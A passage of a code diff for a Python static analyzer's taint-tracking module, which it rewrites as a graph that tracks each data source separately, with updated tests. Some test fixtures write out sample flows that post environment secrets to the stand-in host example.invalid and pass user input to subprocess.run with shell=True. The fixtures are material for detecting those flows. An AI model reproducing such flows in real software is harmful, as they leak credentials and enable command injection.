ast.expr) + found = index.value_type(value, scope) + if isinstance(found, tuple): + classes, dynamic = found + info.classes.extend(cls for cls in classes if cls not in info.classes) + info.dynamic = info.dynamic or dynamic + elif found is _UNKNOWN_VALUE: + info.unknown = True + + for scope, name, value in index.name_stores: + tick() + record(index.resolve(scope, name), scope, value) + for scope, attribute, value in index.attribute_stores: + tick() + for key in index.attribute_store(attribute, scope): + record(key, scope, value) def _mark_targets( - targets: Sequence[_Target], - tainted: dict[str, _TaintedVar], - src_name: str, - lineno: int, -) -> list[str]: - """Taint each target key that is not tainted yet. - - Add-only: an existing entry is never overwritten, so taint can only grow. - Returns the keys newly added, for the worklist to propagate from. + graph: _TaintGraph, + targets: Sequence[int], + kind: int, + arg: int, + source_owner: int, + label: int, + line: int, + node: ast.AST, +) -> list[tuple[int, int]]: + """Add one source fact to each target that lacks it. + + Add-only: an existing fact is never overwritten, so taint can only grow. + A fact that reached a function through one of its own parameters keeps + that mark while it stays in the function's locals and is dropped at the + function's own ``return``. Returns the facts newly added, for the + worklist to propagate from. """ - newly_tainted: list[str] = [] - for key, name in targets: - if key not in tainted: - tainted[key] = _TaintedVar(name, src_name, lineno) - newly_tainted.append(key) + newly_tainted: list[tuple[int, int]] = [] + source_label = label & ~1 + from_parameter = label & 1 + if kind == _ASSIGN: + line = arg + owners = graph.keys.owner + facts = graph.facts + for target in targets: + if kind == _BIND: + out = source_label | 1 + elif kind == _RETURN: + if from_parameter and source_owner == arg: + continue + out = source_label + elif from_parameter and owners[target] == source_owner: + out = label + else: + out = source_label + entry = facts.get(target) + if entry is None: + facts[target] = {out: (line, node)} + elif out in entry: + continue + else: + entry[out] = (line, node) + newly_tainted.append((target, out)) return newly_tainted -def _collect_tainted( - tree: ast.AST, - type_map: dict[str, str], - aliases: dict[str, str], - check_runtime: Callable[[], None] | None = None, - scopes: _ScopeIndex | None = None, -) -> dict[str, _TaintedVar]: - """Compute scope-aware taint, independent of AST visit order. +class _TaintGraph: + """Scope-aware taint, independent of AST visit order. Any single ordered pass over the tree misses flows where a sink and the assignment that taints it are visited in the "wrong" relative order: a function body defined before the module-level assignment it reads only runs after that assignment. Taint is therefore computed as reachability in - a flow graph whose nodes are scope-qualified keys (see ``_ScopeIndex``): + a flow graph whose nodes are keys (see ``_Keys``): * every ``Assign`` flows from the keys its value reads to its targets; - * every argument of a call to a function defined in this module flows to + * every argument of a call to a function defined in this file flows to that callee's argument slot, and each slot flows to the parameter it binds (positionally, by keyword, or into ``*args``/``**kwargs``); a - function passed as an argument (``Thread(target=f, args=(x,))``, + function passed as a callback (``Thread(target=f, args=(x,))``, ``executor.submit(f, x)``) receives the arguments that follow it; - * every ``return`` flows into the function's return key, which any call - to that function reads, so ``key = get_key()`` carries the helper's - taint into the caller; parameter defaults flow into their parameter. - - A flow whose value contains a source call (or ``os.environ[...]``) seeds - its targets directly. The remaining flows are recorded once each, keyed by - a stable id and indexed by every key they read. A monotone worklist then - drains newly tainted keys, firing each flow AT MOST ONCE: its targets are - all tainted after the first firing, so a later firing could add nothing. - - Taint is add-only and bounded by the number of keys, so the loop cannot - oscillate and terminates; each key is dequeued once and each flow fires at - most once, so the work is linear in the flows plus their references. A - fact keeps the original source call and its line through every hop. + * every ``return`` flows into the function's return value, which each + call to it reads; parameter defaults flow into their parameter; a + comprehension's iterable flows into its targets. + + A flow whose value contains source calls (or ``os.environ[...]``) seeds + its targets with each of them. Each key keeps one fact per source, so a + later, stronger source is never hidden by an earlier one. Flows are + recorded once each, keyed by a stable id and indexed by every key they + read. A monotone worklist then drains new facts, firing each flow AT MOST + ONCE per source: its targets already hold that source after the first + firing, so a later firing could add nothing. + + Taint is add-only and bounded by keys x sources, so the loop cannot + oscillate and terminates; the work is linear in the flows plus their + references. Before scoping, keys were bare names shared by the whole file, so a tainted ``headers`` local in one function tainted an unrelated ``headers`` parameter elsewhere — reported as TT3 once 26bc7d6 (#611) made propagation order-independent. """ - if scopes is None: - scopes = _build_scope_index(tree, aliases, type_map, check_runtime) - tainted: dict[str, _TaintedVar] = {} - worklist: deque[str] = deque() - # Each propagating flow's targets, stored once and keyed by its index here - # (a stable id). ``propagators`` maps a key read by a flow to its ids. - propagating: list[list[_Target]] = [] - propagators: dict[str, list[int]] = {} - - def add_edge(reads: Iterable[str], targets: list[_Target]) -> None: - flow_id = len(propagating) - propagating.append(targets) + + def __init__( + self, + index: _ScopeIndex, + type_map: dict[str, str], + aliases: dict[str, str], + check_runtime: Callable[[], None] | None = None, + ) -> None: + self.index = index + self.keys = index.keys + self.type_map = type_map + self.aliases = aliases + self.tick = check_runtime or _noop + self.check_runtime = check_runtime + # key -> {label: (line, source node)} + self.facts: dict[int, dict[int, tuple[int, ast.AST]]] = {} + # Each flow's (targets, kind, kind argument), keyed by its index here + # (a stable id). ``propagators`` maps a key read by a flow to its ids. + self.flows: list[tuple[tuple[int, ...], int, int]] = [] + self.propagators: dict[int, list[int]] = {} + self.worklist: deque[tuple[int, int]] = deque() + self._result_sets: dict[tuple[int, ...], int] = {} + # Reads and direct sources of a call's arguments, walked once for both + # the call's value and its argument binding. + self._arguments: dict[ast.AST, tuple[list[int], list[tuple[str, ast.AST]]]] = {} + + # ── building ── + + def add_edge(self, reads: Iterable[int], targets: tuple[int, ...], kind: int, arg: int) -> None: + if not targets: + return + flow_id = len(self.flows) + self.flows.append((targets, kind, arg)) + propagators = self.propagators for key in dict.fromkeys(reads): propagators.setdefault(key, []).append(flow_id) - def add_flow(value: ast.expr, scope: _Scope, targets: list[_Target]) -> None: + def seed( + self, + targets: tuple[int, ...], + kind: int, + arg: int, + sources: list[tuple[str, ast.AST]], + line: int, + ) -> None: + for name, node in sources: + label = 2 * _SOURCE_INDEX[name] + self.worklist.extend( + _mark_targets(self, targets, kind, arg, _NO_OWNER, label, line, node) + ) + + def flow( + self, + value: ast.expr, + scope: _Scope, + targets: tuple[int, ...], + kind: int, + arg: int, + line: int, + ) -> None: + """Flow *value* into *targets*: seed its direct sources, edge its reads.""" if not targets: return - source = _direct_source(value, type_map, aliases, check_runtime) - if source is not None: - # Direct source: seed taint for this flow's targets. - worklist.extend(_mark_targets(targets, tainted, *source)) - else: - add_edge(scopes.references(value, scope, check_runtime), targets) + sources = _direct_sources(value, self.type_map, self.aliases, self.check_runtime) + if sources: + self.seed(targets, kind, arg, sources, line) + self.add_edge(self.index.flow_reads(value, scope, self.tick), targets, kind, arg) + + def argument( + self, value: ast.expr, scope: _Scope + ) -> tuple[list[int], list[tuple[str, ast.AST]]]: + """Reads and direct sources of one call argument, walked once. + + Stops at calls to functions defined in this file: their own value key + already carries the sources in their arguments, so nested calls are + walked once each rather than once per enclosing call. + """ + cached = self._arguments.pop(value, None) + if cached is None: + cached = ( + list(dict.fromkeys(self.index.flow_reads(value, scope, self.tick))), + _direct_sources( + value, self.type_map, self.aliases, self.check_runtime, self.index.is_value_call + ), + ) + return cached + + def argument_flow( + self, value: ast.expr, scope: _Scope, targets: tuple[int, ...], line: int + ) -> None: + if not targets: + return + reads, sources = self.argument(value, scope) + if sources: + self.seed(targets, _ASSIGN, line, sources, line) + self.add_edge(reads, targets, _ASSIGN, line) + + def group_returns(self, group: _Group) -> int: + if group.returns is None: + group.returns = self.keys.get((-4, group.id), _NO_OWNER, (group.label, "()")) + return group.returns + + def result_key(self, groups: tuple[_Group, ...]) -> int: + if len(groups) == 1: + return self.group_returns(groups[0]) + identity = tuple(group.id for group in groups) + key = self._result_sets.get(identity) + if key is None: + key = self.keys.get((-5, identity), _NO_OWNER, (groups[0].label, "()")) + self._result_sets[identity] = key + self.add_edge([self.group_returns(group) for group in groups], (key,), _PASS, 0) + return key + + def slot(self, group: _Group, slot: object) -> int: + key = group.slots.get(slot) + if key is None: + key = self.keys.get((-3, group.id, slot), _NO_OWNER, "") + group.slots[slot] = key + return key + + def member_slots(self, group: _Group, offset: int, slot: object) -> list[int]: + if isinstance(slot, int): + position = slot + offset + return [self.slot(group, position if position < _MAX_POSITIONAL_SLOTS else "*")] + if slot in ("*", "**"): + return [self.slot(group, slot)] + assert isinstance(slot, str) + keys: list[int] = [] + if slot in group.keyword_params: + keys.append(self.slot(group, slot)) + if group.has_kwarg: + keys.append(self.slot(group, "kw*")) + return keys + + def binding_targets(self, bset: _BindingSet, slot: object) -> tuple[int, ...]: + """Slot keys an argument in call-relative *slot* flows into. + + Several callees share one intermediate key per slot, so each argument + is one edge however many methods a receiver may dispatch to. + """ + cached = bset.targets.get(slot) + if cached is None: + member_keys: list[int] = [] + for group, offset in bset.members: + member_keys.extend(self.member_slots(group, offset, slot)) + members = tuple(dict.fromkeys(member_keys)) + if len(members) > 1: + key = self.keys.get((-6, bset.id, slot), _NO_OWNER, "") + self.add_edge((key,), members, _PASS, 0) + cached = (key,) + else: + cached = members + bset.targets[slot] = cached + return cached def bind_arguments( - groups: list[str], + self, + bset: _BindingSet, args: Sequence[ast.expr], keywords: Sequence[tuple[str | None, ast.expr]], scope: _Scope, + line: int, ) -> None: unpacked = False for position, arg in enumerate(args): if isinstance(arg, ast.Starred): unpacked, arg = True, arg.value - slot = "#*" if unpacked or position >= _MAX_POSITIONAL_SLOTS else f"#{position}" - add_flow(arg, scope, [_Target(group + slot, group + slot) for group in groups]) + slot: object = "*" if unpacked or position >= _MAX_POSITIONAL_SLOTS else position + self.argument_flow(arg, scope, self.binding_targets(bset, slot), line) for name, value in keywords: - slots = ("#**",) if name is None else (f"#kw:{name}", "#kw*") - add_flow( - value, scope, [_Target(group + s, group + s) for group in groups for s in slots] + slot = "**" if name is None else name + self.argument_flow(value, scope, self.binding_targets(bset, slot), line) + + def call(self, call: ast.Call, scope: _Scope) -> None: + info = self.index.call_info(call, scope) + if info.value is not None: + # The call's value: the callees' return values plus everything its + # receiver and arguments read (an over-approximation earlier + # releases also made for every call). + func = call.func + receiver = func.value if isinstance(func, ast.Attribute) else func + arguments = [arg.value if isinstance(arg, ast.Starred) else arg for arg in call.args] + arguments.extend(keyword.value for keyword in call.keywords) + reads: list[int] = [] + for part in (receiver, *arguments): + part_reads, sources = self.argument(part, scope) + if part is not receiver: + self._arguments[part] = (part_reads, sources) + reads.extend(part_reads) + if sources: + self.seed((info.value,), _ASSIGN, call.lineno, sources, call.lineno) + if info.results: + reads.append(self.result_key(info.results)) + self.add_edge(reads, (info.value,), _PASS, 0) + if info.binding is not None: + self.bind_arguments( + info.binding, + call.args, + [(keyword.arg, keyword.value) for keyword in call.keywords], + scope, + call.lineno, ) + self.callbacks(call, scope) + + def callbacks(self, call: ast.Call, scope: _Scope) -> None: + """Bind the arguments a higher-order call forwards to its callback.""" + index = self.index + members: list[tuple[_Group, int]] = [] + position: int | None = None + for keyword in call.keywords: + if keyword.arg in _CALLBACK_KEYWORDS: + members, _ = index.resolve_callee(keyword.value, scope, fallback=True) + if members: + break + if not members: + spawner = _CALLBACK_POSITIONS.get(_callee_name(call.func) or "") + if spawner is not None and spawner < len(call.args): + candidate = call.args[spawner] + if not any(isinstance(arg, ast.Starred) for arg in call.args[: spawner + 1]): + members, _ = index.resolve_callee(candidate, scope, fallback=True) + position = spawner + if not members: + position = None + for at, arg in enumerate(call.args): + if isinstance(arg, ast.Starred): + break + if isinstance(arg, (ast.Name, ast.Attribute)): + members, _ = index.resolve_callee(arg, scope, fallback=False) + if members: + position = at + break + if not members: + return + forwarded = list(call.args[position + 1 :]) if position is not None else [] + forwarded_keywords: list[tuple[str | None, ast.expr]] = [] + for keyword in call.keywords: + if keyword.arg == "args" and isinstance(keyword.value, (ast.Tuple, ast.List)): + forwarded.extend(keyword.value.elts) + elif keyword.arg == "kwargs" and isinstance(keyword.value, ast.Dict): + for key, value in zip(keyword.value.keys, keyword.value.values, strict=True): + if isinstance(key, ast.Constant) and isinstance(key.value, str): + forwarded_keywords.append((key.value, value)) + elif key is None: + forwarded_keywords.append((None, value)) + self.bind_arguments( + index.binding_set(members), forwarded, forwarded_keywords, scope, call.lineno + ) - def bind_call(call: ast.Call, scope: _Scope) -> None: - groups = scopes.callee_groups(call.func, scope, any_method=True) - if groups: - bind_arguments(groups, call.args, [(k.arg, k.value) for k in call.keywords], scope) - # A module function passed as an argument receives the positional - # arguments after it, plus ``args=(...)`` / ``kwargs={...}``. - for position, arg in enumerate([*call.args, *(k.value for k in call.keywords)]): - if not isinstance(arg, (ast.Name, ast.Attribute)): - continue - callback = scopes.callee_groups(arg, scope) - if not callback: - continue - forwarded = list(call.args[position + 1 :]) - forwarded_keywords: list[tuple[str | None, ast.expr]] = [] - for keyword in call.keywords: - if keyword.arg == "args" and isinstance(keyword.value, (ast.Tuple, ast.List)): - forwarded.extend(keyword.value.elts) - elif keyword.arg == "kwargs" and isinstance(keyword.value, ast.Dict): - for key, value in zip(keyword.value.keys, keyword.value.values, strict=True): - if isinstance(key, ast.Constant) and isinstance(key.value, str): - forwarded_keywords.append((key.value, value)) - elif key is None: - forwarded_keywords.append((None, value)) - bind_arguments(callback, forwarded, forwarded_keywords, scope) - break # only the first function argument, keeping the work linear - - for node, scope in scopes.statements: - if isinstance(node, ast.Assign): - targets = [t for target in node.targets for t in scopes.assign_targets(target, scope)] - add_flow(node.value, scope, targets) - elif isinstance(node, ast.Return): - function = scope.function - if node.value is not None and function is not None: - label = f"{function.node.name}()" - returns = [_Target(f"{group}", label) for group, _ in function.groups] - add_flow(node.value, scope, returns) - else: - bind_call(node, scope) + def returns(self, node: ast.Return, scope: _Scope) -> None: + function = scope.function + if node.value is None or function is None: + return + targets = tuple(self.group_returns(group) for group in function.groups) + self.flow(node.value, scope, targets, _RETURN, scope.owner, node.lineno) + + def lambda_returns(self, node: ast.Lambda, scope: _Scope) -> None: + function = scope.function + if function is None or not function.groups: + return + targets = tuple(self.group_returns(group) for group in function.groups) + self.flow(node.body, scope, targets, _RETURN, scope.owner, node.lineno) - for function in scopes.functions: + def iteration(self, generator: ast.comprehension, scope: _Scope) -> None: + targets = tuple(self.index.assign_targets(generator.target, scope)) + iter_scope = self.index.scope_switch.get(generator.iter, scope.parent or scope) + line = generator.target.lineno + self.flow(generator.iter, iter_scope, targets, _ASSIGN, line, line) + + def defaults(self, function: _FunctionInfo) -> None: args = function.node.args - defining = function.scope.parent or scopes.module - prefix = function.scope.prefix - param = {arg.arg: [_Target(prefix + arg.arg, arg.arg)] for arg in _parameters(args)} + defining = function.scope.parent or self.index.module positional = [*args.posonlyargs, *args.args] defaulted = positional[len(positional) - len(args.defaults) :] - for arg, default in zip(defaulted, args.defaults, strict=True): - add_flow(default, defining, param[arg.arg]) - for arg, kw_default in zip(args.kwonlyargs, args.kw_defaults, strict=True): - if kw_default is not None: - add_flow(kw_default, defining, param[arg.arg]) - for group, offset in function.groups: - bound = positional[offset:] - for position, arg in enumerate(bound): - reads = [f"{group}#*"] - if position < _MAX_POSITIONAL_SLOTS: - reads.append(f"{group}#{position}") - if arg not in args.posonlyargs: - reads += [f"{group}#kw:{arg.arg}", f"{group}#**"] - add_edge(reads, param[arg.arg]) - for arg in args.kwonlyargs: - add_edge([f"{group}#kw:{arg.arg}", f"{group}#**"], param[arg.arg]) - if args.vararg is not None: - extra = range(len(bound), _MAX_POSITIONAL_SLOTS) - add_edge([f"{group}#*", *(f"{group}#{i}" for i in extra)], param[args.vararg.arg]) - if args.kwarg is not None: - add_edge([f"{group}#kw*", f"{group}#**"], param[args.kwarg.arg]) - - fired: set[int] = set() - while worklist: - if check_runtime is not None: - check_runtime() - key = worklist.popleft() - origin = tainted[key] - for flow_id in propagators.get(key, ()): - if flow_id in fired: - # Already propagated once: its targets are all tainted, so - # firing again marks nothing new. Skip to stay linear. + pairs = [ + *zip(defaulted, args.defaults, strict=True), + *((arg, d) for arg, d in zip(args.kwonlyargs, args.kw_defaults, strict=True) if d), + ] + for arg, default in pairs: + assert default is not None + target = (self.index.binding_key(function.scope, arg.arg),) + self.flow(default, defining, target, _ASSIGN, default.lineno, default.lineno) + + def attribute_edges(self) -> None: + """Connect attribute stores to the reads that may see them. + + A read of ``x`` through class E sees stores of ``x`` in every class + sharing a descendant with E, plus ``@property`` getters named ``x``. + """ + index = self.index + for node, scope in index.attribute_loads: + self.tick() + index.attribute_load(node, scope) + for (class_id, attr), key in index.attribute_reads.items(): + self.tick() + cls = index.logical[class_id] + reads: list[int] = [] + for other in cls.sharing: + store = self.keys.ids.get((-1, other.unit, attr)) + if store is not None: + reads.append(store) + if attr in other.properties: + for group in index.unit_groups.get((other.unit, attr), ()): + reads.append(self.group_returns(group)) + self.add_edge(reads, (key,), _PASS, 0) + for cls in index.logical: + if cls.precise or not cls.properties: continue - fired.add(flow_id) - worklist.extend( - _mark_targets(propagating[flow_id], tainted, origin.source_call, origin.lineno) - ) + self.tick() + for attr in cls.properties: + store = self.keys.get((-1, cls.unit, attr), _NO_OWNER, attr) + for group in index.unit_groups.get((cls.unit, attr), ()): + self.add_edge((self.group_returns(group),), (store,), _PASS, 0) + + def parameter_edges(self) -> None: + """Flow each callee's argument slots into the parameters they bind.""" + for group in self.index.groups.values(): + if not group.slots: + continue + slots = group.slots + for function in group.functions: + self.tick() + args = function.node.args + key = self.index.binding_key + scope = function.scope + positional = [*args.posonlyargs, *args.args] + for position, arg in enumerate(positional): + reads = [ + slots.get(position) if position < _MAX_POSITIONAL_SLOTS else None, + slots.get("*"), + None if position < len(args.posonlyargs) else slots.get(arg.arg), + slots.get("**"), + ] + self.bind(reads, key(scope, arg.arg)) + for arg in args.kwonlyargs: + self.bind([slots.get(arg.arg), slots.get("**")], key(scope, arg.arg)) + if args.vararg is not None: + extra = range(len(positional), _MAX_POSITIONAL_SLOTS) + reads = [slots.get("*"), *(slots.get(i) for i in extra)] + self.bind(reads, key(scope, args.vararg.arg)) + if args.kwarg is not None: + self.bind([slots.get("kw*"), slots.get("**")], key(scope, args.kwarg.arg)) + + def bind(self, reads: list[int | None], target: int) -> None: + present = [key for key in reads if key is not None] + if present: + self.add_edge(present, (target,), _BIND, 0) + + def build(self) -> None: + for node, scope in self.index.statements: + self.tick() + if isinstance(node, ast.Assign): + targets = tuple( + key + for target in node.targets + for key in self.index.assign_targets(target, scope) + ) + self.flow(node.value, scope, targets, _ASSIGN, node.lineno, node.lineno) + elif isinstance(node, ast.Return): + self.returns(node, scope) + elif isinstance(node, ast.Call): + self.call(node, scope) + elif isinstance(node, ast.Lambda): + self.lambda_returns(node, scope) + elif isinstance(node, ast.comprehension): + self.iteration(node, scope) + for function in self.index.functions: + self.tick() + self.defaults(function) + self.attribute_edges() + self.parameter_edges() + + # ── fixpoint ── + + def run(self) -> None: + self.build() + self.propagate() + + def propagate(self) -> None: + """Drain the worklist until no flow adds a new fact.""" + facts = self.facts + flows = self.flows + propagators = self.propagators + owners = self.keys.owner + worklist = self.worklist + fired: set[object] = set() + while worklist: + self.tick() + key, label = worklist.popleft() + line, node = facts[key][label] + owner = owners[key] + for flow_id in propagators.get(key, ()): + # A fact from a function's own parameter propagates differently + # depending on which function's key carries it. + mark: object = (flow_id, label, owner) if label & 1 else flow_id * _LABELS + label + if mark in fired: + # Already propagated this source: its targets hold it, so + # firing again marks nothing new. Skip to stay linear. + continue + fired.add(mark) + targets, kind, arg = flows[flow_id] + worklist.extend(_mark_targets(self, targets, kind, arg, owner, label, line, node)) + + # ── results ── + + def strongest(self, key: int, sink_name: str, excluded: set[ast.AST]) -> _TaintedVar | None: + """The fact at *key* giving the most severe rule for *sink_name*. + + Facts whose source is one of *excluded* (sources nested directly in + the sink, already reported as direct flows) are skipped. + """ + best: _TaintedVar | None = None + best_rank = -1 + for label, (line, node) in self.facts.get(key, {}).items(): + if node in excluded: + continue + source = _SOURCE_NAMES[label >> 1] + rank = _SEVERITY_RANK[_RULE_SEVERITIES[_pick_rule(source, sink_name, False)]] + if rank > best_rank: + best = _TaintedVar(self.keys.name(key), source, line) + best_rank = rank + return best + + def view(self) -> dict[str, dict[str, _TaintedVar]]: + """Tainted keys by readable name, each with one fact per source.""" + view: dict[str, dict[str, _TaintedVar]] = {} + for key, entry in self.facts.items(): + sources = view.setdefault(self.index.debug_name(key), {}) + for label, (line, _node) in entry.items(): + source = _SOURCE_NAMES[label >> 1] + if source not in sources: + sources[source] = _TaintedVar(self.keys.name(key), source, line) + return view + - return tainted +def _collect_tainted( + tree: ast.AST, + type_map: dict[str, str], + aliases: dict[str, str], + check_runtime: Callable[[], None] | None = None, +) -> dict[str, dict[str, _TaintedVar]]: + """Compute taint for *tree*: readable key -> {source call: fact}. + + Module globals keep their bare name; function locals read + ``qualname..name``. See ``_TaintGraph`` for the propagation rules. + """ + index = _build_scope_index(tree, aliases, type_map, check_runtime) + graph = _TaintGraph(index, type_map, aliases, check_runtime) + graph.run() + return graph.view() + + +def _find_tainted_names_in_args( + node: ast.Call, + graph: _TaintGraph, + scope: _Scope, + sink_name: str, + direct_sources: set[ast.AST], + check_runtime: Callable[[], None] | None = None, +) -> list[_TaintedVar]: + """Find tainted variables, attributes and helper results a sink call reads. + + Plain variable reads come first, in ``ast.walk`` order, so a flow earlier + releases reported keeps its message; attributes and in-file call results + follow. Each key reports its most severe source. + """ + seen: set[int] = set() + names: list[int] = [] + others: list[int] = [] + facts = graph.facts + for key, plain_name in graph.index.references( + node, scope, check_runtime or _noop, skip_root=True + ): + if key in seen or key not in facts: + continue + seen.add(key) + (names if plain_name else others).append(key) + hits: list[_TaintedVar] = [] + for key in (*names, *others): + tv = graph.strongest(key, sink_name, direct_sources) + if tv is not None: + hits.append(tv) + return hits def _analyze_python( @@ -1030,7 +2204,8 @@ def _analyze_python( findings: list[AnalyzerFinding] = [] check_runtime = budget.check_runtime if budget is not None else None scopes = _build_scope_index(tree, aliases, type_map, check_runtime) - tainted = _collect_tainted(tree, type_map, aliases, check_runtime, scopes) + graph = _TaintGraph(scopes, type_map, aliases, check_runtime) + graph.run() seen: set[tuple[str, ast.Call]] = set() contexts: dict[int, str] = {} @@ -1091,8 +2266,8 @@ def _emit( else: budget.emit(finding) - # `tainted` is fully populated above, independent of traversal order, so - # this pass only needs to check sink call sites against it. + # Taint is fully computed above, independent of traversal order, so this + # pass only needs to check sink call sites against it. for node_index, ast_node in enumerate(ast.walk(tree)): if budget is not None: budget.check_runtime() @@ -1107,6 +2282,7 @@ def _emit( if sink_name == "open" and not _is_open_for_write(ast_node): continue + direct: set[ast.AST] = set() for src_name, src_node in _find_nested_sources( ast_node, type_map, @@ -1115,6 +2291,7 @@ def _emit( ): if src_name == "open" and _is_open_for_write(src_node): continue + direct.add(src_node) rule = _pick_rule(src_name, sink_name, is_direct=True) src_cat = _classify(src_name, _SOURCE_CATEGORIES, "data source") sink_cat = _classify(sink_name, _SINK_CATEGORIES, "data sink") @@ -1125,11 +2302,14 @@ def _emit( f"Direct flow: {src_name} ({src_cat}) → {sink_name} ({sink_cat})", ) + # A source nested in this sink, even inside a helper call, is already + # reported as a direct flow above; report each source once. for tv in _find_tainted_names_in_args( ast_node, - tainted, - scopes, + graph, scopes.call_scope.get(ast_node, scopes.module), + sink_name, + direct, check_runtime, ): rule = _pick_rule(tv.source_call, sink_name, is_direct=False) diff --git a/tests/nodes/analyzers/test_behavioral_taint_tracking.py b/tests/nodes/analyzers/test_behavioral_taint_tracking.py index 73237c109..7a76f9b7d 100644 --- a/tests/nodes/analyzers/test_behavioral_taint_tracking.py +++ b/tests/nodes/analyzers/test_behavioral_taint_tracking.py @@ -20,6 +20,9 @@ import json import textwrap import time +import tracemalloc + +import pytest from skillspector.nodes.analyzers import behavioral_taint_tracking from skillspector.nodes.analyzers.common import build_type_map @@ -825,13 +828,13 @@ def check_runtime() -> None: def _collect(code: str, check_runtime=None) -> dict: - """Run `_collect_tainted` directly on *code* and return name -> source_call.""" + """Run `_collect_tainted` directly on *code* and return name -> source calls.""" parsed = get_python_ast(None, code, "t.py") type_map = build_type_map(parsed.tree, parsed.import_aliases) tainted = behavioral_taint_tracking._collect_tainted( parsed.tree, type_map, parsed.import_aliases, check_runtime ) - return {name: tv.source_call for name, tv in tainted.items()} + return {name: set(sources) for name, sources in tainted.items()} class TestFixpointTermination: @@ -856,7 +859,25 @@ def test_cyclic_reassignment_terminates_and_taints_all(self) -> None: sources = _collect(code, _capped_check_runtime(2000)) assert set(sources) == {"x", "y", "z"} # Every name traces back to one of the two credential sources. - assert set(sources.values()) <= {"os.getenv", "os.environ"} + assert all(source_set <= {"os.getenv", "os.environ"} for source_set in sources.values()) + assert sources["x"] == {"os.getenv", "os.environ"} + assert sources["y"] == {"os.getenv", "os.environ"} + assert sources["z"] == {"os.getenv", "os.environ"} + + def test_reassignment_preserves_stronger_source_through_alias(self) -> None: + """A later user-input source must not be hidden by an earlier credential source.""" + for assignments in ( + 'payload = os.getenv("KEY")\npayload = input()\n', + 'payload = input()\npayload = os.getenv("KEY")\n', + ): + code = ( + "import os, subprocess\n" + + assignments + + "command = payload\n" + + "subprocess.run(command, shell=True)\n" + ) + findings = _run(code) + assert any(f.rule_id == "TT5" for f in findings) def test_cyclic_reassignment_flows_to_sink(self) -> None: """End to end: the oscillating module plus a sink still reports TT3.""" @@ -893,7 +914,7 @@ def test_reverse_ordered_chain_is_linear(self) -> None: elapsed = time.monotonic() - start assert len(sources) == depth + 1 - assert all(src == "os.getenv" for src in sources.values()) + assert all(srcs == {"os.getenv"} for srcs in sources.values()) assert elapsed < 1.0 def test_cyclic_reassignment_does_not_hang_without_cap(self) -> None: @@ -948,7 +969,7 @@ def counting_mark_targets(*args, **kwargs): assert calls["n"] <= n_assignments # All read and target names are tainted, all tracing to os.getenv. assert len(sources) == 2 * width - assert all(src == "os.getenv" for src in sources.values()) + assert all(srcs == {"os.getenv"} for srcs in sources.values()) assert elapsed < 1.0 @@ -1355,7 +1376,7 @@ def auth_headers(token=None): token = load_token() return {"Authorization": f"Bearer {token}"} def service_get(url, *, headers=None): - request_headers = dict(headers or {}) + request_headers = dict(headers or {}) # COPY return requests.get(url, headers=request_headers) # SINK def check(url): return service_get(url, headers=auth_headers()) @@ -1363,13 +1384,21 @@ def check(url): ) (finding,) = _flows(code) assert finding.start_line == _line(code, "# SINK") - assert f"(line {_line(code, '# SOURCE')}," in finding.message + assert f"'request_headers' from os.getenv (line {_line(code, '# COPY')}," in ( + finding.message + ) + +class TestMessageCompatibility: + """Messages keep the wording earlier releases used. -class TestSourceLineAttribution: - """Messages cite the line of the source call, not of the last copy.""" + Exact baseline fingerprints and message-glob baseline rules include the + message, so a flow both versions report must produce the same text: the + variable read at the sink and the line of the statement that last tainted + it (not the line of the original source call). + """ - def test_reassignment_chain_cites_the_source_line(self) -> None: + def test_reassignment_chain_cites_the_last_assignment(self) -> None: code = _code( """ import os, requests @@ -1380,35 +1409,54 @@ def test_reassignment_chain_cites_the_source_line(self) -> None: """ ) (finding,) = _flows(code) - assert "'second' from os.getenv (line 2," in finding.message + assert finding.message == ( + "Tainted flow: 'second' from os.getenv (line 4, credential/environment) " + "→ requests.post (network output)" + ) - def test_multiline_assignment_cites_the_source_call_line(self) -> None: + def test_multiline_assignment_cites_the_assignment_line(self) -> None: code = _code( """ import os, requests - payload = { + payload = { # ASSIGN "user": "example", - "key": os.getenv("API_KEY"), # SOURCE + "key": os.getenv("API_KEY"), } requests.post("https://example.invalid", json=payload) """ ) (finding,) = _flows(code) - assert f"(line {_line(code, '# SOURCE')}," in finding.message + assert f"'payload' from os.getenv (line {_line(code, '# ASSIGN')}," in finding.message - def test_cross_function_flow_cites_the_callers_source_line(self) -> None: + def test_plain_variable_is_cited_before_a_helper_result(self) -> None: + """A sink reading both a variable and a helper result cites the variable.""" + code = _code( + """ + import os, subprocess + def build(args): + return ["ssh", *args] + args = input("args: ") + subprocess.run(build(args)) + """ + ) + (finding,) = _flows(code, "TT5") + assert finding.message == ( + "Tainted flow: 'args' from input (line 4, user input) → subprocess.run (code execution)" + ) + + def test_cross_function_flow_cites_the_binding_call(self) -> None: code = _code( """ import os, requests def upload(payload): requests.post("https://example.invalid", data=payload) def main(): - secret = os.getenv("API_KEY") # SOURCE - upload(secret) + secret = os.getenv("API_KEY") + upload(secret) # CALL """ ) (finding,) = _flows(code) - assert f"'payload' from os.getenv (line {_line(code, '# SOURCE')}," in finding.message + assert f"'payload' from os.getenv (line {_line(code, '# CALL')}," in finding.message class TestInterproceduralBounds: @@ -1458,3 +1506,925 @@ def test_positional_arguments_beyond_the_slot_cap_still_bind(self) -> None: f"send({args})\n" ) assert len(_flows(code)) == 1 + + def test_key_memory_does_not_grow_with_identifier_length(self) -> None: + """Keys never embed qualified names, so memory is independent of name length. + + Taint keys built as ``qualname + name`` copied a long function, class or + method name into every local, attribute, argument slot and untyped + ``obj.m(...)`` fallback binding: memory grew as name length times + references, so a sub-megabyte file could exhaust host memory. + """ + + def module(length: int) -> str: + function, cls, method = "f" * length, "C" * length, "m" * length + lines = [ + "import os", + f"def {function}(*args, **kwargs):", + " return args", + f"{function}(" + "x, " * 3000 + "y=x)", + f"def {function}_locals():", + *(f" v{i} = os.getenv('K')" for i in range(1500)), + f"class {cls}:", + " def store(self, y):", + *(f" self.a{i} = y" for i in range(1500)), + *( + f"class K{i}:\n def {method}(self, a, b):\n return a" + for i in range(30) + ), + "def run(o, x):", + *(f" o.{method}(x, os.getenv('K'))" for _ in range(40)), + ] + return "\n".join(lines) + "\n" + + def peak_bytes(code: str) -> int: + parsed = get_python_ast(None, code, "t.py") + type_map = build_type_map(parsed.tree, parsed.import_aliases) + tracemalloc.start() + try: + index = behavioral_taint_tracking._build_scope_index( + parsed.tree, parsed.import_aliases, type_map + ) + graph = behavioral_taint_tracking._TaintGraph( + index, type_map, parsed.import_aliases + ) + graph.run() + assert graph.facts # the flows above do propagate + return tracemalloc.get_traced_memory()[1] + finally: + tracemalloc.stop() + + short = 